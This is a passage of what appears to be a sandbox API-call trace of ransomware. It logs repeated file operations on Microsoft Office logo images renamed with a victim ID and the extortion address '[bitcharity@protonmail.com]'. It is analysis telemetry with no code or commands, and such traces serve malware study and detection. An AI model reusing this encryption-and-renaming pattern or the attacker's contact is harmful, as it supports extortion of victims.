Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.935] CloseHandle (hObject=0x1278) returned 1 [0266.936] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.936] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.936] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.936] CloseHandle (hObject=0x1278) returned 1 [0266.937] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.937] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.937] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogo.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogo.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.937] CloseHandle (hObject=0x1278) returned 1 [0266.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.938] CloseHandle (hObject=0x1278) returned 1 [0266.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.938] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.938] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.939] CloseHandle (hObject=0x1278) returned 1 [0266.939] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.939] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.939] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.939] CloseHandle (hObject=0x1278) returned 1 [0266.940] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.940] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.940] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.940] CloseHandle (hObject=0x1278) returned 1 [0266.941] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.941] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.941] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.941] CloseHandle (hObject=0x1278) returned 1 [0266.942] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.942] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.942] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.942] CloseHandle (hObject=0x1278) returned 1 [0266.943] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.943] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.943] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.943] CloseHandle (hObject=0x1278) returned 1 [0266.944] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.944] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.944] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.944] CloseHandle (hObject=0x1278) returned 1 [0266.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.945] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.945] CloseHandle (hObject=0x1278) returned 1 [0266.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.945] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0266.946] CloseHandle (hObject=0x1278) returned 1 [0266.946] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.946] SetFilePointerEx (in: hFile=0x1278, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0266.946] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\OutlookLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\outlooklogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.245] CloseHandle (hObject=0x1278) returned 1 [0267.376] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.377] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.377] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.386] CloseHandle (hObject=0x11d0) returned 1 [0267.387] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.387] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.387] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.387] CloseHandle (hObject=0x11d0) returned 1 [0267.388] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.388] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.388] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.388] CloseHandle (hObject=0x11d0) returned 1 [0267.389] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.389] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.389] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.389] CloseHandle (hObject=0x11d0) returned 1 [0267.390] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.390] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.390] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.390] CloseHandle (hObject=0x11d0) returned 1 [0267.391] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.391] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.391] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.391] CloseHandle (hObject=0x11d0) returned 1 [0267.392] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.392] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.392] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.392] CloseHandle (hObject=0x11d0) returned 1 [0267.393] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.393] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.393] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.393] CloseHandle (hObject=0x11d0) returned 1 [0267.394] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.394] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.394] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinProjLogoSmall.scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winprojlogosmall.scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.394] CloseHandle (hObject=0x11d0) returned 1 [0267.395] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.395] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.395] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-black_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.395] CloseHandle (hObject=0x11d0) returned 1 [0267.396] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.396] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.396] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-black_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.396] CloseHandle (hObject=0x11d0) returned 1 [0267.397] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.397] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.398] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-black_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.398] CloseHandle (hObject=0x11d0) returned 1 [0267.399] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.399] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.399] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-black_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-black_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.399] CloseHandle (hObject=0x11d0) returned 1 [0267.400] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.400] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.400] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-white_scale-100.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.400] CloseHandle (hObject=0x11d0) returned 1 [0267.401] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.401] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.401] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-140.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-white_scale-140.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.401] CloseHandle (hObject=0x11d0) returned 1 [0267.402] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.402] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.402] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-180.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-white_scale-180.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.403] CloseHandle (hObject=0x11d0) returned 1 [0267.403] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.404] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.404] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.contrast-white_scale-80.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft office\\root\\office16\\logoimages\\winwordlogo.contrast-white_scale-80.png.id-b4197730.[bitcharity@protonmail.com].com"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0267.404] CloseHandle (hObject=0x11d0) returned 1 [0267.405] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.405] SetFilePointerEx (in: hFile=0x11d0, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x265fec0 | out: lpNewFilePointer=0x0) returned 1 [0267.405] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\Office16\\LogoImages\\WinWordLogo.scale-100.png.id-B4197730.[bitcharity@protonmail.com].com" (normalized: "c:\\program files\\microsoft 